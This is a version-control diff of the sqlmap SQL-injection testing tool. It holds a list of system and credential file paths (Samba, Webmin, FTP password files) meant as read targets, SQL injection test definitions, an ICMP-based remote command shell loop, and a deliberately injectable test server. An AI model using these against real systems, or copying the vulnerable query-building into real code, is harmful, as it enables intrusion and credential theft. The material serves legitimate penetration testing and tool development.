/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/var/log/ftp-proxy
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/etc/ipfw.conf
/etc/firewall.rules
/etc/ipfw.rules
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
File diff suppressed because it is too large Load Diff
+17 -4
View File
@@ -1,5 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* https://en.wikipedia.org/wiki/Debian_version_history
-->
<root> <root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*"> <regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/> <info dbms_version="1"/>
@@ -36,19 +41,27 @@
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
<info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/> <info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
<info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/> <info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
<info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/> <info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
<info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/> <info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
<info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
</regexp> </regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)"> <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
+2 -1
View File
@@ -7,13 +7,14 @@
<error regexp="Warning.*?\Wmysqli?_"/> <error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/> <error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/> <error regexp="valid MySQL result"/>
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/> <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/> <error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/> <error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/> <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/> <error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/> <error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
</dbms> </dbms>
<!-- PostgreSQL --> <!-- PostgreSQL -->
+8 -8
View File
@@ -3,7 +3,7 @@
<root> <root>
<!-- Stacked queries tests --> <!-- Stacked queries tests -->
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries (comment)</title> <title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
<stype>4</stype> <stype>4</stype>
<level>2</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
@@ -19,12 +19,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version> <dbms_version>&gt;= 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries</title> <title>MySQL &gt;= 5.0.12 stacked queries</title>
<stype>4</stype> <stype>4</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
@@ -39,12 +39,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version> <dbms_version>&gt;= 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title> <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype> <stype>4</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
@@ -60,12 +60,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version> <dbms_version>&gt;= 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title> <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
<stype>4</stype> <stype>4</stype>
<level>4</level> <level>4</level>
<risk>1</risk> <risk>1</risk>
@@ -80,7 +80,7 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version> <dbms_version>&gt;= 5.0.12</dbms_version>
</details> </details>
</test> </test>
+12 -12
View File
@@ -169,7 +169,7 @@
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title> <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
<stype>5</stype> <stype>5</stype>
<level>2</level> <level>2</level>
<risk>2</risk> <risk>2</risk>
@@ -184,12 +184,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title> <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
<stype>5</stype> <stype>5</stype>
<level>2</level> <level>2</level>
<risk>3</risk> <risk>3</risk>
@@ -204,12 +204,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title> <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
<stype>5</stype> <stype>5</stype>
<level>5</level> <level>5</level>
<risk>2</risk> <risk>2</risk>
@@ -225,12 +225,12 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title> <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
<stype>5</stype> <stype>5</stype>
<level>5</level> <level>5</level>
<risk>3</risk> <risk>3</risk>
@@ -246,7 +246,7 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
@@ -1506,7 +1506,7 @@
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title> <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
<stype>5</stype> <stype>5</stype>
<level>4</level> <level>4</level>
<risk>2</risk> <risk>2</risk>
@@ -1521,7 +1521,7 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
@@ -1861,7 +1861,7 @@
</test> </test>
<test> <test>
<title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title> <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<stype>5</stype> <stype>5</stype>
<level>4</level> <level>4</level>
<risk>2</risk> <risk>2</risk>
@@ -1876,7 +1876,7 @@
</response> </response>
<details> <details>
<dbms>MySQL</dbms> <dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version> <dbms_version>&lt; 5.0.12</dbms_version>
</details> </details>
</test> </test>
+5 -1
View File
@@ -3,7 +3,8 @@
<root> <root>
<!-- MySQL --> <!-- MySQL -->
<dbms value="MySQL"> <dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/> <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/> <length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/> <isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/> <delimiter query=","/>
@@ -242,6 +243,9 @@
<concatenate query="%s||%s"/> <concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="RAWTOHEX(%s)"/> <hex query="RAWTOHEX(%s)"/>
<!--
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
-->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/> <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/> <current_user query="SELECT USER FROM DUAL"/>
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+50
View File
@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
스크린샷
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다.
설치
----
[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
사용법
----
기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
python sqlmap.py -h
전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
python sqlmap.py -hh
[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다.
링크
----
* 홈페이지: http://sqlmap.org
* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* 트위터: [@sqlmap](https://twitter.com/sqlmap)
* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+13 -4
View File
@@ -15,11 +15,13 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
def beep(): def beep():
try: try:
if sys.platform == "nt": if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME) _win_wav_play(BEEP_WAV_FILENAME)
elif sys.platform == "darwin": elif sys.platform.startswith("darwin"):
_mac_beep() _mac_beep()
elif sys.platform.startswith("linux"): elif sys.platform.startswith("cygwin"):
_cygwin_beep(BEEP_WAV_FILENAME)
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
_linux_wav_play(BEEP_WAV_FILENAME) _linux_wav_play(BEEP_WAV_FILENAME)
else: else:
_speaker_beep() _speaker_beep()
@@ -34,6 +36,10 @@ def _speaker_beep():
except IOError: except IOError:
pass pass
# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename)
def _mac_beep(): def _mac_beep():
import Carbon.Snd import Carbon.Snd
Carbon.Snd.SysBeep(1) Carbon.Snd.SysBeep(1)
@@ -57,7 +63,10 @@ def _linux_wav_play(filename):
class struct_pa_sample_spec(ctypes.Structure): class struct_pa_sample_spec(ctypes.Structure):
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") try:
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
except OSError:
return
wave_file = wave.open(filename, "rb") wave_file = wave.open(filename, "rb")
+45 -42
View File
@@ -76,60 +76,63 @@ def main(src, dst):
decoder = ImpactDecoder.IPDecoder() decoder = ImpactDecoder.IPDecoder()
while True: while True:
cmd = '' try:
cmd = ''
# Wait for incoming replies # Wait for incoming replies
if sock in select.select([sock], [], [])[0]: if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096) buff = sock.recv(4096)
if 0 == len(buff): if 0 == len(buff):
# Socket remotely closed # Socket remotely closed
sock.close() sock.close()
sys.exit(0) sys.exit(0)
# Packet received; decode and display it # Packet received; decode and display it
ippacket = decoder.decode(buff) ippacket = decoder.decode(buff)
icmppacket = ippacket.child() icmppacket = ippacket.child()
# If the packet matches, report it to the user # If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number # Get identifier and sequence number
ident = icmppacket.get_icmp_id() ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq() seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string() data = icmppacket.get_data_as_string()
if len(data) > 0: if len(data) > 0:
sys.stdout.write(data) sys.stdout.write(data)
# Parse command from standard input # Parse command from standard input
try: try:
cmd = sys.stdin.readline() cmd = sys.stdin.readline()
except: except:
pass pass
if cmd == 'exit\n': if cmd == 'exit\n':
return return
# Set sequence number and identifier # Set sequence number and identifier
icmp.set_icmp_id(ident) icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id) icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet # Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd)) icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum # Calculate its checksum
icmp.set_icmp_cksum(0) icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1 icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload) # Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp) ip.contains(icmp)
try: try:
# Send it to the target host # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0)) sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex: except socket.error as ex:
sys.stderr.write("'%s'\n" % ex) sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush() sys.stderr.flush()
except:
break
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) < 3: if len(sys.argv) < 3:
-17
View File
@@ -1,17 +0,0 @@
To use safe2bin.py you need to pass it the original file,
and optionally the output file name.
Example:
$ python ./safe2bin.py -i output.txt -o output.txt.bin
This will create an binary decoded file output.txt.bin. For example,
if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will
be decoded to: " test 234
newline"
If you skip the output file name, general rule is that the binary
file names are suffixed with the string '.bin'. So, that means that
the upper example can also be written in the following form:
$ python ./safe2bin.py -i output.txt
-8
View File
@@ -1,8 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass
+9
View File
@@ -0,0 +1,9 @@
#/usr/bin/env bash
# source ./extra/shutils/autocompletion.sh
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -`
complete -W "$WORDLIST" sqlmap
complete -W "$WORDLIST" ./sqlmap.py
+1 -1
View File
@@ -7,7 +7,7 @@
export SQLMAP_DREI=1 export SQLMAP_DREI=1
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
unset SQLMAP_DREI unset SQLMAP_DREI
source `dirname "$0"`"/junk.sh" source `dirname "$0"`"/junk.sh"
+59 -17
View File
@@ -9,14 +9,17 @@ See the file 'LICENSE' for copying permission
from __future__ import print_function from __future__ import print_function
import json
import re import re
import sqlite3 import sqlite3
import sys import sys
import threading import threading
import traceback import traceback
if sys.version_info >= (3, 0): PY3 = sys.version_info >= (3, 0)
from http.client import FOUND UNICODE_ENCODING = "utf-8"
if PY3:
from http.client import INTERNAL_SERVER_ERROR from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND from http.client import NOT_FOUND
from http.client import OK from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
else: else:
from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer from BaseHTTPServer import HTTPServer
from httplib import FOUND
from httplib import INTERNAL_SERVER_ERROR from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND from httplib import NOT_FOUND
from httplib import OK from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_response(INTERNAL_SERVER_ERROR) self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8")) self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return return
if hasattr(self, "data"): if hasattr(self, "data"):
params.update(parse_qs(self.data)) if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else:
params.update(parse_qs(self.data))
for name in self.headers:
params[name.lower()] = self.headers[name]
if "cookie" in params:
for part in params["cookie"].split(';'):
part = part.strip()
if '=' in part:
name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip())
for key in params: for key in params:
if params[key]: if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1] params[key] = params[key][-1]
self.url, self.params = path, params self.url, self.params = path, params
if self.url == '/': if self.url == '/':
if "id" not in params:
self.send_response(FOUND) if not any(_ in self.params for _ in ("id", "query")):
self.send_header("Connection", "close")
self.send_header("Location", "/?id=1")
self.end_headers()
else:
self.send_response(OK) self.send_response(OK)
self.send_header("Content-type", "text/html") self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
else:
code, output = OK, ""
try: try:
if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"]
with _lock: with _lock:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", "")) if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall() results = _cursor.fetchall()
output = "<b>SQL results:</b>\n" output += "<b>SQL results:</b>\n"
output += "<table border=\"1\">\n" output += "<table border=\"1\">\n"
for row in results: for row in results:
output += "<tr>" output += "<tr>"
for value in row: for value in row:
output += "<td>%s</td>" % value output += "<td>%s</td>" % value
output += "</tr>\n" output += "</tr>\n"
output += "</table>\n" output += "</table>\n"
output += "</body></html>" output += "</body></html>"
except Exception as ex: except Exception as ex:
code = INTERNAL_SERVER_ERROR
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
self.wfile.write(output.encode("utf8")) self.send_response(code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
if self.raw_requestline.startswith(b"HEAD"):
self.send_header("Content-Length", str(len(output)))
self.end_headers()
else:
self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else: else:
self.send_response(NOT_FOUND) self.send_response(NOT_FOUND)
self.send_header("Connection", "close") self.send_header("Connection", "close")
@@ -145,11 +181,17 @@ class ReqHandler(BaseHTTPRequestHandler):
def do_GET(self): def do_GET(self):
self.do_REQUEST() self.do_REQUEST()
def do_PUT(self):
self.do_REQUEST()
def do_HEAD(self):
self.do_REQUEST()
def do_POST(self): def do_POST(self):
length = int(self.headers.get("Content-length", 0)) length = int(self.headers.get("Content-length", 0))
if length: if length:
data = self.rfile.read(length) data = self.rfile.read(length)
data = unquote_plus(data.decode("utf8")) data = unquote_plus(data.decode(UNICODE_ENCODING))
self.data = data self.data = data
self.do_REQUEST() self.do_REQUEST()
+4 -1
View File
@@ -181,7 +181,10 @@ def action():
raise raise
if conf.sqlQuery: if conf.sqlQuery:
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery)) for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip()
if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
if conf.sqlShell: if conf.sqlShell:
conf.dbmsHandler.sqlShell() conf.dbmsHandler.sqlShell()
+30 -7
View File
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import intersect from lib.core.common import intersect
from lib.core.common import joinValue
from lib.core.common import listToStrValue from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths from lib.core.common import parseFilePaths
from lib.core.common import popValue from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError from lib.core.common import wasLastResponseHTTPError
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -73,6 +75,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import CHECK_INTERNET_VALUE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FI_ERROR_REGEX
@@ -152,7 +155,7 @@ def checkSqlInjection(place, parameter, value):
# payload), ask the user to limit the tests to the fingerprinted # payload), ask the user to limit the tests to the fingerprinted
# DBMS # DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -162,7 +165,7 @@ def checkSqlInjection(place, parameter, value):
# regardless of --level and --risk values provided # regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
